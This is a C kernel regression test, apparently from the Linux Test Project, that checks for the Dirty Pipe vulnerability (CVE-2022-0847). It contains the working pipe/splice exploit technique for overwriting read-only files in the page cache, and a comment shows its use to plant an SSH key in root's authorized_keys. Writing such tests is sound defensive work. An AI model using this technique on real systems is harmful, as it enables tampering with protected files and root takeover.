1 // SPDX-License-Identifier: GPL-2.0
2 /*
3 * Copyright 2022 CM4all GmbH / IONOS SE
4 *
5 * Author: Max Kellermann <max.kellermann@ionos.com>
6 *
7 * Ported into LTP by Yang Xu <xuyang2018.jy@fujitsu.com>
8 */
9
10 /*\
11 * [Description]
12 *
13 * Proof-of-concept exploit for the Dirty Pipe
14 * vulnerability (CVE-2022-0847) caused by an uninitialized
15 * "pipe_buffer.flags" variable. It demonstrates how to overwrite any
16 * file contents in the page cache, even if the file is not permitted
17 * to be written, immutable or on a read-only mount.
18 *
19 * This exploit requires Linux 5.8 or later; the code path was made
20 * reachable by commit f6dd975583bd ("pipe: merge
21 * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
22 * there before, it just provided an easy way to exploit it.
23 *
24 * There are two major limitations of this exploit: the offset cannot
25 * be on a page boundary (it needs to write one byte before the offset
26 * to add a reference to this page to the pipe), and the write cannot
27 * cross a page boundary.
28 *
29 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
30 *
31 * Further explanation: https://dirtypipe.cm4all.com/
32 */
33
34 #ifndef _GNU_SOURCE
35 #define _GNU_SOURCE
36 #endif
37 #include <unistd.h>
38 #include <fcntl.h>
39 #include <stdio.h>
40 #include <stdlib.h>
41 #include <string.h>
42 #include <sys/stat.h>
43 #include <sys/user.h>
44 #include "tst_test.h"
45
46 #define TEXT "AAAAAAAABBBBBBBB"
47 #define TESTFILE "testfile"
48 #define CHUNK 64
49 #define BUFSIZE 4096
50
51 static int p[2] = {-1, -1}, fd = -1;
52 static char *pattern_buf, *read_buf;
53
check_file_contents(void)54 static void check_file_contents(void)
55 {
56 SAFE_LSEEK(fd, 0, SEEK_SET);
57 SAFE_READ(1, fd, read_buf, 4096);
58
59 if (memcmp(pattern_buf, read_buf, 4096) != 0)
60 tst_res(TFAIL, "read buf data mismatch, bug exists");
61 else
62 tst_res(TPASS, "read buff data match, bug doesn't exist");
63 }
64
65 /*
66 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
67 * PIPE_BUF_FLAG_CAN_MERGE flag set.
68 */
prepare_pipe(void)69 static void prepare_pipe(void)
70 {
71 unsigned int pipe_size, total, n, len;
72 char buffer[BUFSIZE];
73
74 SAFE_PIPE(p);
75 pipe_size = SAFE_FCNTL(p[1], F_GETPIPE_SZ);
76
77 /*
78 * fill the pipe completely; each pipe_buffer will now have the
79 * PIPE_BUF_FLAG_CAN_MERGE flag
80 */
81 for (total = pipe_size; total > 0;) {
82 n = total > sizeof(buffer) ? sizeof(buffer) : total;
83 len = SAFE_WRITE(SAFE_WRITE_ALL, p[1], buffer, n);
84 total -= len;
85 }
86
87 /*
88 * drain the pipe, freeing all pipe_buffer instances (but leaving the
89 * flags initialized)
90 */
91 for (total = pipe_size; total > 0;) {
92 n = total > sizeof(buffer) ? sizeof(buffer) : total;
93 len = SAFE_READ(1, p[0], buffer, n);
94 total -= len;
95 }
96
97 /*
98 * the pipe is now empty, and if somebody adds a new pipe_buffer
99 * without initializing its "flags", the buffer wiill be mergeable
100 */
101 }
102
run(void)103 static void run(void)
104 {
105 int data_size, len;
106 ssize_t nbytes;
107
108 data_size = strlen(TEXT);
109
110 fd = SAFE_OPEN(TESTFILE, O_RDONLY);
111
112 prepare_pipe();
113
114 /*
115 * splice one byte from the start into the pipe;
116 * this will add a reference to the page cache, but since
117 * copy_page_to_iter_pipe() does not initialize the "flags",
118 * PIPE_BUF_FLAG_CAN_MERGE is still set
119 */
120 nbytes = splice(fd, NULL, p[1], NULL, 1, 0);
121 if (nbytes < 0)
122 tst_brk(TFAIL, "splice failed");
123 if (nbytes == 0)
124 tst_brk(TFAIL, "short splice");
125
126 /*
127 * the following write will not create a new pipe_buffer, but
128 * will instead write into the page cache, because of the
129 * PIPE_BUF_FLAG_CAN_MERGE flag
130 */
131 len = SAFE_WRITE(SAFE_WRITE_ALL, p[1], TEXT, data_size);
132 if (len < nbytes)
133 tst_brk(TFAIL, "short write");
134
135 check_file_contents();
136 SAFE_CLOSE(p[0]);
137 SAFE_CLOSE(p[1]);
138 SAFE_CLOSE(fd);
139 }
140
setup(void)141 static void setup(void)
142 {
143 memset(pattern_buf, 0xff, BUFSIZE);
144 tst_fill_file(TESTFILE, 0xff, CHUNK, BUFSIZE / CHUNK);
145 }
146
cleanup(void)147 static void cleanup(void)
148 {
149 if (p[0] > -1)
150 SAFE_CLOSE(p[0]);
151 if (p[1] > -1)
152 SAFE_CLOSE(p[1]);
153 if (fd > -1)
154 SAFE_CLOSE(fd);
155 }
156
157 static struct tst_test test = {
158 .setup = setup,
159 .cleanup = cleanup,
160 .test_all = run,
161 .needs_tmpdir = 1,
162 .bufs = (struct tst_buffers []) {
163 {&pattern_buf, .size = 4096},
164 {&read_buf, .size = 4096},
165 {},
166 },
167 .tags = (const struct tst_tag[]) {
168 {"linux-git", "9d2231c5d74e"},
169 {"CVE", "CVE-2022-0847"},
170 {},
171 }
172 };
173